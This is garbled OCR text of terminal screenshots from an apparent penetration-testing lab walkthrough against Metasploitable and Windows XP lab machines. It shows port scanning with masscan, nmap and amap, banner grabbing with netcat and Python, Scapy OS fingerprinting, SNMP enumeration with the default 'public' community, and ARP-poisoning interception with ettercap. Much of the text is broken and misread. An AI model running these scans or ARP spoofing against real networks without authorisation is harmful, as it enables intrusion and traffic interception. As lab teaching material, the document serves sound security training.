[172.16.69.128] 80 (http)

-f 2-4; done

File Edit View Search Terminal Help
:~# masscan -h
usage:
masscan -p80,8000-8100 10.0.0.0/8 --rate=10000
scan some web ports on 10 at 10kpps
masscan --nmap
list those options that are compatible with nmap

masscan -p80 10.0.0.0/8 --banners -oB <filename>
save results of scan in binary format to <filename>
masscan --open --banners --readscan <filename> -oX <savefile>
read binary scan results in <filename> and save them as xml in <savefile=
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:~# masscan --nmap
Masscan (https://github.com/robertdavidgraham/masscan)
Usage: masscan [Options] -p{Target-Ports} {Target-IP-Ranges}
TARGET SPECIFICATION:
Can pass only IPv4 address, CIDR networks, or ranges (non-nmap style)
Ex: 10.0.0.0/8, 192.168.0.1, 10.0.0.1-10.0.0.254
-il <inputfilename>: Input from list of hosts/networks
--exclude <hostl[,host2][,hest3],...>: Exclude hosts/networks
--excludefile <exclude file>: Exclude list from file
--randomize-hosts: Randomize order of hosts (default)
HOST DISCOVERY:
-Pn: Treat all hosts as online (default)
-n: Never do DNS resolution (default)
SCAN TECHNIQUES:
-sS: TCP SYN (always on, default)
SERVICE/VERSION DETECTION:
--banners: get the banners of the listening service if available. The
default timeout for waiting to recieve data is 30 seconds
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges=: Only scan specified ports
Ex: -p22; -pl-65535; -p 111,137,80,139,8080
TIMING AND PERFORMANCE:
--max-rate <number>: Send packets no faster than <number> per second
--connection-timeout <number>: time in seconds a TCP connection will
timeout while waiting for banner data from a port.
FIREWALL/IDS EVASION AND SPOOFING:
-5/--source-ip <IP_Address>: Spoof source address
-e <iface>: Use specified interface
-g/--source-port <portnum=: Use given port number
--ttl <val>: Set IP time-to-live field
--spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
OUTPUT:
--output-format <format>: Sets output te binary/list/unicornscan/json/grepable/xml
--output-file <file>: Write scan results to file. If --output-format is
not given default is xml
-oL/-01/-0G/-0B/-0X/-0U <file>: Output scan in List/JSON/Grepable/Binary/XML/Unicornscan format,
respectively, to the given filename. Shortcut for
--output-format <format> --output-file <file>
-v: Increase verbosity level (use -vv or more for greater effect)
-d: Increase debugging level (use -dd or more for greater effect)
--open: Only show open (or possibly open) ports
--packet-trace: Show all packets sent and received
--iflist: Print host interfaces and routes (for debugging)
--append-output: Append to rather than clobber specified output files
--resume <filename>: Resume an aborted scan
MISC:
--send-eth: Send using raw ethernet frames (default)
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
masscan -v -s5 192.168.0.0/16 10.0.0.0/8 -p 80
masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan
masscan --open --banners --readscan internet.scan -oG internet_scan.grepable
SEE (https://github.com/robertdavidgraham/masscan) FOR MORE HELP

.l |

File Edit View Search Terminal Help
:~# masscan 172.16.69.128 -p 80

Starting masscan 1.0.3 (http://bit.1ly/14GZzcT) at 2017-01-25 09:36:04 GMT
- forced options: -s5 -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1 hosts [1 port/host]

Discovered opin port 8@/tcp on 172.16.69.128
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:~# masscan 172.16.69.128 -p 21,80,443

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2017-81-25 09:39:14 GMT
- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1 hosts [3 ports/host]

Discovered open port 80/tcp on 172.16.69.128
Discovered opin port 21/tcp on 172.16.69.128

#

File Edit View Search Terminal Help
:~# masscan 172.16.69.128 -

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2017-01-25 09:40:55 GMT
- forced options: -s5 -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [6 ports/host]
Discovered open port 21/tcp on 172.16.69.128
Discovered open port 25/tcp on 172.16.69.128
Discovered open port 23/tcp on 172.16.69.128
Discovered opin port 22/tcp on 172.16.69.128
~#

File Edit View Search Terminal Help
:~# masscan 172.16.69.128 -p 0-65535

Starting masscan 1.0.3 (http://bit.1ly/146ZzcT) at 2017-01-25 09:45:30 GMT
- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 139/tcp on 172.16.
Discovered open port 514/tcp on 172.16.
Discovered open port 2121/tcp on 172.16.69.128
Discovered open port 80/tcp on 172.16.69.128
Discovered open port 2049/tcp on 172.16.69.128
Discovered open port 35744/tcp on 172.16.69.128
Discovered open port 1524/tcp on 172.16.69.128
Discovered open port 23/tcp on 172.16.69.128
Discovered open port 111/tcp on 172.16.69.128
i open port 3306/tcp on 172.16.69.128
open port 22/tcp on 172.16.69.128
open port 5900/tcp on 172.16.69.128
open port 35663/tcp on 172.16.69.128
open port 1099/tcp on 172.16.69.128
open port 5432/tcp on 172.16.69.128
open port 8009/tcp on 172.16.69.128
open port 6667/tcp on 172.16.69.128
open port 21/tcp on 172.16.69.128
open port 8180/tcp on 172.16.69.128
open port 45296/tcp on 172.16.69.128
open port 25/tcp on 172.16.69.128
open port 513/tcp on 172.16.69.128
open port 3632/tcp on 172.16.69.128
open port 512/tcp on 172.16.69.128
open port 445/tcp on 172.16.69.128
open port 6000/tcp on 172.16.69.128
open port 53/tcp on 172.16.69.128
open port 6697/tcp on 172.16.69.128
open port 8787/tcp on 172.16.69.128
Discovered opin port 54034/tcp on 172.16.69.128
L~

69,
69.
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:~# masscan 172.16.69.0-172.16.69.250 -p 80

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2017-01-25 10:04:11 GMT
- forced options: -s5 -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 251 hosts [1 port/host]

Discovered open port 80/tcp on 172.16.69.128

Discovered open port 80/tcp on 172.16.69.130
Discovered open port 80/tcp on 172.16.69.132

= 3

File Edit View Search Terminal Help
:~# cat iplist.txt
.16.69.128
.16.69.129
.16.69.130
.16.69.131
.16.69.132
:~# masscan -iL iplist.txt -p 80

Starting masscan 1.0.3 (http://bit.ly/146ZzcT) at 2017-81-25 10:09:58 GMT
- forced options: -s5 -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 5 hosts [1 port/host]

Discovered open port 80/tcp on 172.16.69.128
Discovered open port 80/tcp on 172.16.69.132
Discovered open port 80/tcp on 172.16.69.130
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File Edit View Search Terminal Help

:~# nc -h
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports]
listen for inbound: nc -1 -p port [-optiens] [hostname] [port
options:
shell commands as -e'; use /bin/sh to exec [dangerous!
filename program to e after connect [dangerous!!]

allow broadcasts
gateway source-routing hop point[s], up to 8
num source-routing pointer: 4, 8, 12,
this cruft

secs delay interval for lines sent, ports scann
set keepalive option on socket
listen mode, for inbound connects
numeric-only IP addresses, no DNS
hex dump of traffic
local port number
randomize local and remote ports
quit after EOF on stdin and delay of secs
local source addre
set Type 0f Servic
answer TELNET negotiation
UDP mode
verb [use twice to be more verbose]
secs timeout for connects and final net reads
Send CRLF as line-ending

-2 zero-I1/0 mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in pﬂit names must be backslash escaped (e.g. 'ftp\-data').

e

SHEXETOQOO0N

NE<crr=—uo 00

~

File Edit View Search Terminal Help
t~# nc -vn 172.16.69.128 22
(UNKNOWN) [172.16.69.128] 22 (ssh) open
H-2.0-0penSSH_4.7pl Debian-8ubuntul

~C
~#

File Edit View Search Terminal Help

i~# nc -vn 172.16.69.128 21
(UNKNOWN) [172.16.69.128] 21 (ftp) open
228 (vsFTPd 2.3.4)

C
= |
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:~# python

Python 2.7.13 (default, Dec 18 2016, 20:19:42)

[GCC 6.2.1 20161215] on linux2

Type "help”, "copyright”, "credits” or "license” for more information

>>> import socket

>>> bangrab = socket.socket(socket.AF INET, socket.SOCK STREAM)

>>> bangrab.connect(("172.16.69.128", 21))

>>> bangrab.recv(4096)

'220 (vsFTPd 2.3.4)\r\n

>>> bangrab.close()

>>> exit()
=1 |

File Edit View Search Terminal Help
:~# python
Python 2.7.13 (default, Dec 18 2016, 20:19:42)
[GCC 6.2.1 20161215] on linux2
Type "help”, "copyright”, "credits” or "license” for more information
>>> import socket
>>> bangrab = socket.socket(socket.AF INET, socket.SOCK STREAM)
>>> bangrab.connect (("172.16.69.128", 443))
Traceback (most recent call last):
File "<stdin=", line 1, in <module=>
File "/usr/lib/pythen2.7/socket.py”, line 228, in meth
return getattr(self. sock,name)(*args)
socket.error: [Errno 111] Connection refused
>>> exit()
= |

File Edit View Search Terminal Help
:~# python
Python 2.7.13 (default, Dec 18 2016, 20:19:42)
[GCC 6.2.1 20161215] on linux2
Type "help”, "copyright”, "credits” or "license" for more information
>>> import socket
bangrab = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
bangrab.connect (("172.16.69.128", 80))
bangrab.recv(4096)




File Edit View Search Terminal Help
:~# python

Python 2.7.13 (default, Dec 18 2016, 20:19:42)
[GCC 6.2.1 20161215] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import socket

import select

> bangrab = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

bangrab.connect (("172.16.69.128", 88))

ready = select.select([bangrab], []1, [], 1)

if ready([0]:
print bangrab.recv(4096)
-H

els
nt "No Banner"

No Banner

e |

File Edit View Search Terminal Help

t~# chmod 777 banner_grab.py
:~# ./banner _grab.py 172.16.69.128 1 65535
Port - 220 (vsFTPd 2.3.4)

Port - SSH-2.0-0penSSH 4.7pl Debian-8ubuntul

Port 23 - (272278
Port 25 - 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

Port 2 - [Ehere are you?

Port 1524 - root@metasploitable:/#
Port 2121 - 220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.16.69.128]

Port 3306
.51a-3ubuntu50"Uj6mDH, f}]9E.VF:2+!
Port 5900 - RFB 003.603

Port 6667 - :i tasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

Port - :iirc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

i |
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:~# dmitry -p 172.16.69.128
Deepmagic Information Gathering Tool
"There be some deep magic going on®

ERROR: Unable to locate Host Name for 172.16.69.128
Continuing with limited modules
HostIP:172.16.69.128

Hos tName:

Gathered TCP Port information for 172.16.69.128

State

open
open
open
open
open
open
open
open

Portscan Finished: Scanned 150 ports, 141 ports were in state closed

All scans completed, exiting
t-#

File Edit View Search Terminal Help

:~# dmitry -pb 172.16.69.128
Deepmagic Information Gathering Tool
"There be some deep magic going on"

ERROR: Unable to locate Host Name for 172.16.69.128
Continuing with limited modules
HostIP:172.16.69.128

HostName:

Gathered TCP Port information for 172.16.69.128

21/tcp open
>> 220 (vsFTPd 2.3.4)

22/tcp open
>> 55H-2.0-0penSSH_4.7pl Debian-8ubuntul

23/tcp

>> bl

25/tcp

>> 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
53/tcp open

Portscan Finished: Scanned 150 ports, 144 ports were in state closed

ALl scans pleted, exiting
=1 |
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i~# nmap -sT 172.16.69.128 -

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-31 08:26 EST
Nmap scan report for 172.16.69.128

Host is up (0.00020s latency).

PORT  STATE SERVICE

22/tcp open ssh

| _banner: S5H-2.0-OpenSSH_4.7pl Debian-Bubuntul

Nmap done:

1 IP address (1 host up) scanned in ©.25 seconds
= |

File Edit View Search Terminal Help
i~# nmap -sT 172.16.69.128 -p 1-100 --script=banner

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-31 08:27 EST
Nmap scan report for 172.16.69.128

Host is up (0.00088s latency).

Not shown: 94 closed ports

PORT  STATE SERVICE

21/tcp open ftp

| _banner: 220 (vsFTPd 2.3.4)

22/tcp open ssh

| banner: SSH-2.0-OpenSSH 4.7pl Debian-8ubuntul

23/tcp open telnet

| _banner: \xFF\xFD\x18\xFF\xFD \xFF\xFD#\xFF\xFD'

25/tcp open smtp

| _banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
53/tcp open domain

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 15.22 seconds
e |

File Edit View Search Terminal Help

:~# amap -B 172.16.69.128 21
amap v5.4 (www.thc.org/thc-amap) started at 2017-01-31 08:30:22 - BANNER mode

Banner on 172.16.69.128:21/tcp : 220 (vsFTPd 2.3.4)\r\n

amap v5.4 finished at 2017-01-31 08:30:22
=2 |
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File Edit

Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner
Banner

on
on
on
on
on
on
on
on
on
on
on

View Search Terminal Help

:~# amap -B 172.16.69.128 1-65535
amap v5.4 (www.thc.org/thc-amap) started at 2017-01-31 08:30:48 - BANNER mode

172.16.69.128:21/tcp : 220 (vsFTPd 2.3.4)\r\n

172.16.69.128:22/tcp : SSH-2.0-0penSSH_4.7pl Debian-8ubuntul\n

172.16.69.128:23/tcp : #'

172.16.69.128:25/tcp : 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)\r\n
172.16.69.128:512/tcp : Where are you?\n

172.16.69.128:1524/tcp : root@metasploitable/#

172.16.69.128:2121/tcp © ProFTPD 1.3.1 Server (Debian) [ffffl72.16.69.128]\r\n
172.16.69.128:3306/tcp : >\n5.0.51a-3ubuntu5];)Yenz,0axW-wl.0I[p

172.16.69.128:5900/tcp : RFB 003.003\n

172.16.69.128:6667/tcp : irc.Metasploitable.LAN NOTICE AUTH *** Looking up your hostname.
172.16.69.128:6697/tcp : irc.Metasploitable.LAN NOTICE AUTH *** Looking up your hostname...

amap v5.4 finished at 2017-01-31 08:31:04

~#

File Edit

Banner

on
on
on
on

r on
- on

Banner
Banner
Banner
Banner
Banner

on
on
on
on
on

View Search Terminal Help

i~# amap -B 172.16.69.128 1-65535 | grep "on"

172.16.69.128:25/tcp : ’30 metasploitable.localdomain ESMTP Postfix (Ubuntu)\r\n
172.16.69.128:21/tcp : 220 (vsFTPd 2.3.4)\r\n

172.16.69.128:22/tcp : SSH-2.0-0penSSH_4.7pl Debian-8ubuntul\n

172.16.69.128:23/tcp : #'

172.16.69.128:512/tcp : Where are you?\n

172.16.69.128:1524/tcp : root@metasploitable/#

172.16.69.128:2121/tcp : 220 ProFTPD 1.3.1 Server (Debian) [ffff172.16.69.128]\r\n
172.16.69.128:3306/tcp : >\n5.0.51a-3ubuntud?hngmP'q,$] (M/71u|2|@

172.16.69.128:5900/tcp : RFB 083.003\n

172.16.69.128:6667/tcp : irc.Metasploitable.LAN NOTICE AUTH *** Looking up your hostname. r\n
172.16.69.128:6697/tcp : ERROR Closing Link [172.16.69.1] (Throttled Reconnecting too fast) -Email admin@M

etasploitable.LAN for more 1nf0rmatlon \r\n

= |

File Edit

25/tcp :
21/tcp :
H SSH-E.G-OpenS .7pl Debian-8ubuntul\n

1524ftcp
2121/tcp
3366/tcp

5800/tcp
6667/tcp :
6697/tcp
= |

View Search Terminal Help

:~# amap -B 172.16.69.128 1-65535 | grep "on" | cut -d ":" -f 2-5
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)\r\n
220 (vsFTPd 2.3.4)\r\n

re

: Where are you?\n

root@metasploitable/#
220 ProFTPD 1.3.1 Server (Debian) [ffff172.16.69.128]\r\n
>\n5.0.51a-3ubuntu5q=wdls|5,2; rLe7$I " &&+
RFB @03.083\n

rc.Metasploitable.LAN NOTICE AUTH *** Looking up your hostname..
irc.Metasploitable.LAN NOTICE AUTH *** Looking up your hostname...\r
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File Edit View Search Terminal Help

:~# nc -nv 172.16.69.128 80
(UNKNOWN) [172.16.69.128] 86 (http) open
1

File Edit View Search Terminal Help
:~# nmap 172.16.69.128 -p 80 -sV

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-31 08:38 EST
Nmap scan report for 172.16.69.128

Host is up (0.00022s latency).

PORT  STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.47 seconds
:-#I

File Edit View Search Terminal Help
i~# nmap 172.16.69.128 -sV

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-31 08:39 EST

Nmap scan report for 172.16.69.128

Host is up (0.0011ls latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp  open ssh OpenSSH 4.7pl Debian 8ubuntul (protocel 2.0)
23/tcp open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open

514/tcp open Netkit rshd

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntub

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6800/tcp open X1l (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajpl3 Apache Jserv (Protocol vl.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:1l
inux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.97 seconds
~# 1
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:~# amap 172.16.69.128 80
amap v5.4 (www.thc.org/thc-amap) started at 2017-01-31 08:46:46 - APPLICATION MAPPING

Protocol on 172.16.69.128:80/tcp matches http
Protocol on 172.16.69.128:80/tcp matches http-apache-2

Unidentified ports: none.

amap v5.4 fini d at 2017-01-31 08:46:52
e |

File Edit View Search Terminal Help

i~# amap 172.16.69.128 20-30
amap v5.4 (www.thc.org/thc-amap) started at 2017-01-31 08:47:27 - APPLICATION MAPPING mode

on 172.16.69.128:21/tcp matches ftp

on 172.16.69.128:22/tcp matches ssh

on 172.16.69.128:22/tcp matches ssh-openssh

on 172.16.69.128:23/tcp matches telnet
Protocol on 172.16.69.128:25/tcp matches smtp

Unidentified ports: 172,16.69.128:20/tcp 172.16.69.128:24/tcp 172.16.69.128:26/tcp 172.16.69.128:27/tcp 172.16.69.12
8:28/tcp 172.16.69.128:29/tcp 172.16.69.128:30/tcp (total 7).

amap v5.4 finished at 2017-01-31 08:47:33
~#

File Edit View Search Terminal Help
t~# amap 172.16.69.128 1-100 -q
amap v5.4 (www.thc.org/thc-amap) started at 2017-01-31 08:48:08 - APPLICATION MAPPING mode

Protocol on 172.16.69.128:21/tcp matches ftp

Protocol on 172.16.69.128:25/tcp matches smtp

Protocol on 172.16.69.128:22/tcp matches ssh

Protocol on 172.16.69.128:22/tcp matches ssh-openssh
Protocol on 172.16.69.128:25/tcp matches nntp

Protocol on 172.16.69.128:80/tcp matches http

Protocol on 172.16.69.128:23/tcp matches telnet
Protocol on 172.16.69.128:80/tcp matches http-apache-2
Protocol on 172.16.69.128:53/tcp matches dns

amap v5.4 finished at 2017-01-31 08:48:20
~# 1

File Edit View Search Terminal Help
-# amap 172.16.69.128 1-100 -qb
amap v5. 4 (www.thc.org/thc-amap) started at 2017-81-31 ©8:48:52 - APPLICATION MAPPING mode

Prutom'l on 172.16.69 25/ matches smtp - banner: 220 metasploitable.localdomain ESMTP Postfi

matches oA n
matches ss -2.8- ppl Debian-8ubuntul\nProtocol mismatch.\n
. matches ssh- upenmh - banne penSSH 4.7p1 Debian-8ubuntul\nProtocol misi match \n
Protocol on 1 5 B / matches http - banner: HTTP/1.1 200 OK\r\nDate Thu, 26 Jan 2017 864615 GMT\r
bunru; DAV/2\r\n? red-By 4 u5.10\rynContent-Length 891\ r\nConnection close\ry

r: HTTP/1.1 208 OK\r\
5.16\r\nContent-Length 891\

ol on 172. : cp me e et - ba #'
ocol on 172. .b . cp I'I'wdtLTl@' nntp - banr
and not recognized\r\n
Protocol on 172.
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:~# amap 172.16.69.128 1-100 -ql
v5.4 (www.thc.org/thc-amap) started at 2017-81-31 08:50:15 - APPLICATION MAPPING mode

on 2.16.69 25/tcp matches smtp
on . . D M s nntp
L on 172. . matches ftp
L on .16.69. p matches ssh
Protocol on 2.16. f mat s http
Protocol on 5 : matches http-apache-2
on 172.16. p matches ssh-openssh
L on 172. 8:23 matches telnet
L on .16 . p matches d

amap v5.4 fini d -31 08:50:15

File Edit View Search Terminal Help

linux
)

File Edit View Search Terminal Help
= ICMP()
.display()
£
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Search Terminal Help
> request = (i/ping)
> request.display()
1#4#

File Edit V arch  Terminal Help

»>> ans = srl{request)

Begin emission:

.Finished to send 1 packets.
*

Received 2 packets, got 1 answers, remaining @ packets
>>> ans.display()
i 1#4#

File Edit V Search Terminal Help

»>> ans = srl{IP{dst=1inux)/ICMP())
Begin emission:
*Finished to send 1 packets.

Received 1 packets, got 1 answers,

remaining © packets
>>> ans

src=172.16.69.128 dst=1 16.69.133




File Edit View Search Terminal Help

g o

File Edit View Search Terminal Help

se" for more information.

Received 2 packets, got 1 answers, remaining @ pac
>»> if int( IP].ttl 6
rint "Host is Linu

print "Host is Windows"
Linux
1(IP(dst="172.16.69.129" ) /ICMP(})
Begin nml sion:
Finished to send 1 packets.

remaining @ packets

print "Host is Windows"

Host is Windows

=3

File Edit View Search Terminal Help
: # hmod 7?7 ttl id.py

Example - .
Example /S atte L ermine whether the system is Windows or Linux/Unix
. 9
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:~# nmap 172.16.69.128 -0

map.org ) at 2017-82-81 86:34 EST

7 closed ports
STATE SERVICE
open
open

open

open domain

open http
rpcbind

e
login
shell

open
open

open

open

open ajpl3
open  unknown

4.37
4.37)

o forme: ort any incorrect at ht
: 1 IP addre up) scanned in 1.74 seconds
4
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:~# xprobe2 172.16.69.128

Xprobe2 v.8.3 Copyright (c) 2062-20805 fyodor@oBo.nu, ofir

Target is 17,
Leading modu

cp_pir
g:udp ping
her:ttl

TCP and UDP based TTL distance calculation
TCP a an
ICMP Echo request fingerprinting module
ICMP Timestamp request fingerprinting module
ICMP Address mask request fingerprinting module
ICMP port unreachable fingerprinting module
Handshake fingerprinting module
fingerprinting module
fingerprinting module

pen TCP ports k n . 2 M le st failed
pen UDP ports k 0 .16.69.1 Modu failed

s: 1.81127
ition aborted (no open TCP ports known)
ed ther TCP port 1 or 445 to run
: need UDP port 161 open

Running 05

Running
Running 0S:

File Edit Wiew Search Terminal Help

t filtering configur

ent loop.
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:~# ettercap -Tg -i eth® -M arp:remote /172.16.69.128// /172.16.69.129// -w dump

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Listening on:
eth® -» 0@:0C:29:2D:7C:19
172.16.69.133/255.255.255.0
feBB::20c:29ff: fe2d:7c19/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth@/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

33 plugins
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

2 hosts added to the hosts list...
ARP poisoning victims
GROUP 1 : 172.16.69.128 00:0C:29:96:81:F2
GROUP 2 : 172.16.69.129 00:0C:29:94:63:4B
Starting Unified sniffing...
Text only Interface activated...

Hit 'h' for inline help
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i~# pof
- pBf 3.89b by Michal Zalewski <lcamtuf@coredump.cx> ---

Closed 1 file descriptor.

Loaded 322 signatures from '/etc/pof/pof.fp'.
Intercepting traffic on default interface 'eth@'.
Default packet filtering configured [+VLAN].
Entered main event loop.

172.16.69.129/1617 -> 172.16.69.128/80 (syn) ]-

172.16.69.129/1617
Windows NT kernel
0]

generic
4:128+0:0:1460:mss*44,0:mss,nop,nop, sok:df,id+:0

.-[ 172.16.69.129/1617 -> 172.16.69.128/8@ (mtu) ]-

| client 172.16.69.129/1617
link Ethernet or modem
raw_mtu 1500

.-[ 172.16.69.129/1617 -> 172.16.69.128/8@ (syn+ack) ]-

server
Qs

dist
params
raw sig

172.16.69.128/86
Linux 2.4-2.6

none
4:64+0:0:1460:mss*4,0:mss,nop,nop, sok:df:0

.-[ 172.16.69.129/1617 -> 172.16.69.128/80 (mtu) ]-

server 172.16.69.128/80
link Ethernet or modem
raw_mtu 1560

.-[ 172.16.69.129/1617 -> 172.16.69.128/80 (http request) ]-

\

| client 172.16.69.129/1617

| app MSIE 8 or newer

REL] English

| params none

| raw sig = l:Accept=[image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*],A
ccept-Language=[en-us],Accept-Encoding=[gzip, deflate],User-Agent,Host,Connection=[Keep-Alive]:Accept-Charset,Kee|
p-Alive:Mozilla/4.0 (compatible; MSIE 6.8; Windows NT 5.1; SV1)

File Edit View Search Terminal Help

Closing text interface...

Terminating ettercap...

Lua cleanup complete!

ARP poisoner deactivated.
RE-ARPing the victims...
Unified sniffing was stopped.

~# 11




Edit View Search Terminal Help
:~# onesixtyone 172.16.69.129 public
Scanning 1 hosts, 1 communities
172.16.69.129 [public] Hardware: xB6 Family 6 Model 70 Stepping 1 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1
(Build 2680 Uaiprocessor Free)
~#

File \ Terminal Help
:~# snmpwalk 172.16.69.129 -c public -v 2c
.1.1.0 = STRING: "Hardware: x86 Family & Model 78 Stepping 1 AT/AT COMPATIBLE - Software: Windows 2000 Vers
ild 2600 Uniprocessor Free)"
= 0ID: is0.3.6.1.4.1.311.1.1.3.1.1
Timeticks: (146566345) 16 days, 23:07:43.45

B

STRING: "DEMOXP"

INTEGER: 76

INTEGER: 3

.1 = INTEGER: 1

.2 = INTEGER: 2

.393220 = INTEGER: 393220

. .1 = Hex-STRING: 4D 53 20 54 43 50 20 4C 6F 6F 70 62 61 63 6B 20
74 65 1636
.6.1.2. .2.2 = Hex-STRING: 41 4D 44 20 50 43 4E 45 54 20 46 61 6D 69 6C 79
43 49 20 45 74 68 65 72 6E 65 74 20 41 64

74 65 72 20 2D 20 50 61 63 6B 65 74 20 53

65 64 75 6C 65 72 20 4D 69 6E 69 70 6F 72

ooy H DY

1
(
1
1
1
1
1.
1
1
1
1
1
1

NMMNNNNNNNNNE N

1
1
1
1
1
1
1
1
1
1
1
1
1

[SRNSENE SR N P N
HO-HHHHOQ@@@@

PRI R RS R b b b e et
[ T I I T T

]
]
[N
= o
N

.6.1.2.1.2.2.1.2.393220 = Hex-STRING: 42 6C 75 65 74 6F 6F 74 68 20 44 65 76 69 63 65
50 65 72 73 6F 6E 61 6C 20 41 72 65 61 20
74 77 6F 72 6B 29 00
. . .1 = INTEGER: 24

INTEGER: 6
220 = INTEGER: 6
INTEGER: 1520
INTEGER: 1560
220 = INTEGER: 1500
Gauge32: 10000080
Gauge32: 1000000000
220 = Gauge32: 1000000

o

ey O v T (Y i T TR v T |

PRIR RN R R R R R R R R R R N R R R R R N R R R R R R R R R R B
MRNAMNMMMMMMMMMMBMRMRMAMMAMBMNRRBINRNMNANRNR MR BB R RN R
b b b e B b b b e e e e

.39

L)

Hex-STRING: 06 6C 29 94 63 4B
220 = Hex-STRING: 60 F8 1D C2 4D 15
INTEGER: 1

INTEGER: 1

220 = INTEGER: 1

INTEGER: 1

INTEGER: 1

220 = INTEGER: 2

Timeticks: (0) 0:00:00.080
Timeticks: (0) ©:00:00.00

220 = Timeticks: (138337598) 16 days, 9:16:15.98
Counter32: 9723

Counter32: 7823986

220 = Counter32: 0

Counter32: 156

Counter32: 61663

220 = Counter32: @

Counter32: 0

Counter32: 22420

220 = Counter32: 0

Counter32: ©

Counter32: 0

220 = Counter32: 0
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File Edit View Search Terminal Help
:~# snmpwalk 172.16.69.129 -c public -v 2c | cut -d -f 2
STRING: "Hardware: x86 Family 6 Model 70 Stepping 1 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2606 U
niprocessor Free)"
0ID: is0.3.6.1.4.1.311.1.1.3.1.1
Timeticks: (146573029) 16 days, 23:08:50.29

STRING: "DEMOXP"

INTEGER:
INTEGER:
INTEGER:
INTEGER:
INTEGER:

File Edit View Search Terminal Help
Hex-STRING: 00 50 56 C6 60 01
IpAddress: 172.16.69.1

INTEGER: 3

Counter32: 0

Gauge32: 7

File Edit View Search Terminal Help
STRING: "VGAuthService.exe"
STRING: "smss.exe"

STRING:

STRING:

STRING: "winlogon.

STRING: g 5

STRING: "lsass.exe

STRING: "rundll132
STRING: "wmacthlp.
STRING: "svchost.exe"
STRING: "svchost.exe"
STRING: "wmiprvse
STRING: "svchost.exe
STRING: "svchost.exe"
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> i.dst = "172.16.69.129"
i.display()
|#2#

168.68.130
16.69.129

File Edit View Search Terminal Help
>>> t.display()
#i# |

> t.dport = 22
> t.flags = 'A’
t.display()
g |48




File Edit View Search Terminal Help

» request = (i/t)
> request.display()

File Edit View Search Terminal Help

>>> response = srl(request, timeout=1)
Begin emission:

.Finished to send 1 packets.
*

Received 2 packets, got 1 answers, remaining 0 packets
= response.display()

72.16.69.129
168.68.130




File Edit View Search Terminal Help
response = srl(IP(dst="172.16.69.129")/TCP(dport=22,flags="A"),timeout=1)
Begin emissio
Finished to send 1 packets
"

Received 1 packets, got 1 answers, remaining @ packets
> response

< = =

File Edit View Search Terminal Help

response = srl(IP(dst="172.16.69.129")/TCP(dport=22,flags='5S"),timeout=1,verbose=1)
Begin emission:
Finished to send 1 packets

Received 2 packets, got 1 answers, remaining © packets
>>> response

